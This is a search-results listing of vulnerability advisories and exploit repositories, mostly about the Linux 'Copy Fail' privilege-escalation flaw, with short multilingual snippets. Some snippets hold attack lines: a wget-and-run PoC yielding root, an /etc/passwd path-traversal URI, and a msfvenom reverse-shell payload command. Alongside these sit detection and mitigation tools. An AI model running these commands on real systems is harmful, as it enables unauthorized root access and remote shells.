1308753 matches found
Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lknpixforwoocommercec6savesettings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated...
Jenkins Git <=4.11.3 - Missing Authorization
Jenkins Git plugin through 4.11.3 contains a missing authorization check. An attacker can trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit. This can make it possible to obtain sensitive information, modify...
Deltek Maconomy 2.2.5 - Local File Inclusion
Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.WMCS/ PATHINFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.WMCS/etc/passwd URI. id: CVE-2019-12314 info: name: Deltek Maconomy 2.2.5 - Local File Inclusion author: madrobot severity:...
LAB1-metasploitable
LAB1-metasploitable ftp 서비스의 vsftpd 2.3.4 버전에서의 취약점 악용 CVE-2011-2523 Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution Date: 9-04-2021 Exploit Author: HerculesRD Software Link: http://www.linuxfromscratch.org/thomasp/blfs-book-xsl/server/vsftpd.html Version: vsftpd 2.3.4 Tested on: debian...
CVE-2026-58231
이 저장소에는 README가 없습니다...
CVE-2026-7899
cve-id 寄付 このプロジェクトの維持にご協力ください このプロジェクトが役に立つと思われた場合は、PayPalまたはABA Mobileを通じて継続的なメンテナンスへの支援をご検討ください。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 寄付金の10%はカンタ・ボファ小児病院に寄付されます。 | 支払い方法を選択 ABA Mobileでスキャン · クリックで拡大 ---|--- ⚡ 簡単な使い方 外部ダウンロードスクリプトの最新版をGitHubから直接実行します:...
CVE-2026-44648
CVE-2026-44648 CVE-2026-44648에 대한 PoC 및 권고...
CVE-2026-41940-next
이 저장소에는 README가 없습니다...
cve-checker-2026
CVE 检查器 2026 多操作系统漏洞扫描器，用于检测： CVE-2026-31431 — Linux 内核 crypto/algifaead 缺陷 CVE-2026-41940 — cPanel 与 WHM 认证绕过（CVSS 9.8） 支持的操作系统 家族| 发行版 ---|--- Debian| Ubuntu、Debian、Linux Mint、Pop!OS RHEL| RHEL、CentOS、AlmaLinux、Rocky Linux、Oracle Linux、CloudLinux、Fedora、Amazon Linux SUSE| SLES、openSUSE 快速开始（一行命...
copyfail-arm64
Copy Fail ARM64 연구 CVE-2026-31431 Copy Fail Linux 커널 권한 상승 취약점CVE-2026-31431에 대한 분석 및 ARM64 재현 자료로, 원래 Xint가 공개했습니다. 블로그 게시물: docs/post.md 포함 내용 파일| 설명 ---|--- docs/post.md| 취약점 분석 및 ARM64 포팅 과정을 다루는 블로그 게시물 src/copyfailexp.py| Xint/Theori의 원본 x86-64 PoC src/copyfailexpreadable.py| 주석과 적절한 변수명이 추...
cve-2026-31431-checker
CVE-2026-31431（Copy Fail）検出ツール LinuxカーネルにおけるCVE-2026-31431「Copy Fail」脆弱性の包括的な検出・分析ツールです。 ⚠️ 重要なお知らせ このツールは検出専用です。システムファイルの悪用や変更は一切行いません。 システム情報と設定ファイルの読み取りのみを行います /etc/passwd、/usr/bin/su、その他のシステムバイナリへの書き込みは行いません 実際の悪用試行は行いません 所有しているシステム、またはテスト許可を得たシステムでのみ使用してください...
Bili-cracker
CVE-2026-350234 취약점을 통한 bilibili 프리미엄 멤버십 획득...
copy-fail
copy-fail CVE-2026-31431의 PoC 사용법: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...
Estudo-de-Caso-CVE-2026-31431-CopyFail
🐧 CVE-2026-31431 — CopyFail: Linuxカーネル権限昇格 完全なケーススタディ — 発見の経緯、仕組み、テスト方法、再現方法（安全な環境での）、そして2017年以降のほぼすべてのLinuxディストリビューションに影響する重大な脆弱性の修正方法。 🚨 法的免責事項 / 免責条項 このリポジトリは教育目的専用 です。ここに含まれる情報は、セキュリティ専門家、研究者、サイバーセキュリティ学生を対象としています。明示的な許可なく、ここで説明されているいかなる技術もシステムで使用しないでください。...
cfDr
cfDr - 복사 실패 닥터 C opy F ail D etection and R emediation Linux 커널의 algifaead 모듈에서 발생하는 치명적인 로컬 권한 상승 취약점인 CVE-2026-31431복사 실패을 탐지하고 완화하기 위한 Ansible 역할 및 플레이북 모음입니다. 저장소 🔗 GitHub : https://github.com/parmstro/cfDr cfDr 라는 이름은 "Copy Fail Doctor"의 말장난으로, CVE-2026-31431에 대한 신뢰할 수 있는 해결책을 의미합니다. 목차 1...
copy-fail-CVE-2026-31431
Copy Fail CVE-2026-31431 - PoC 이 저장소에는 Copy Fail CVE-2026-31431 취약점에 대한 개념 증명PoC이 포함되어 있습니다. ⚠️ 면책 조항: 이 프로젝트는 교육 및 연구 목적으로만 사용됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에는 사용하지 마십시오. 🧪 사용 방법 아래 단계에 따라 PoC를 실행하십시오: root@kitploit: 저장소 복제 git clone https://github.com/ravindercodes/copy-fail-CVE-2026-31431 프로젝트...
Mitigaciones
CVE-2026-31431"Copy Fail" 완화 Linux 시스템에서 CVE-2026-31431 취약점setuid 바이너리의 page cache 손상을 통한 로컬 권한 상승의 탐지 및 완화를 위한 스크립트 및 플레이북 자동화 모음입니다. 저장소 내용 cve-2026-31431-mitigator.sh : 순수 Bash 기반 대화형 스크립트로, 감사 및 핫 완화 적용modprobe를 통한 algifaead 및 authencesn 모듈 차단을 수행합니다. Red Hat, SUSE, Debian 계열을 위한 자동 감지 기능으로...
CVE-2026-31431-mitigation-suite
AFALG 방어 프레임워크 Linux AFALG주소 패밀리 알고리즘, 패밀리 38 서브시스템을 위한 커널 런타임 방어 프레임워크입니다. 제로 트러스트가 네트워크 경계에서 멈추지 않고 커널 내부로 확장되어야 하는 엔터프라이즈 Linux 플릿을 운영하는 보안 운영 센터SOC를 위해 구축되었습니다. AFALG가 SOC에 중요한 이유 AFALG는 소켓 인터페이스socketAFALG, SOCKSEQPACKET, 0를 통해 커널 암호화 API를 사용자 공간에 노출합니다. 원래 /dev/crypto가 없는 임베디드 시스템을 위해 추가되었으...
CVE-2026-31431
CVE-2026-31431 Copy Fail — C PoC AFALG의 로직 버그커널 4.14 → 2026년 초를 통해 읽기 가능한 모든 파일의 페이지 캐시에 제어된 4바이트를 기록하는, 권한이 없는 간단한 LPE입니다. 메모리 내의 /usr/bin/su를 손상시킨 후 실행하면 → root 권한 획득. 빌드 및 실행 root@kitploit: 1. ELF 페이로드 생성 리버스 셸 예시 msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true ...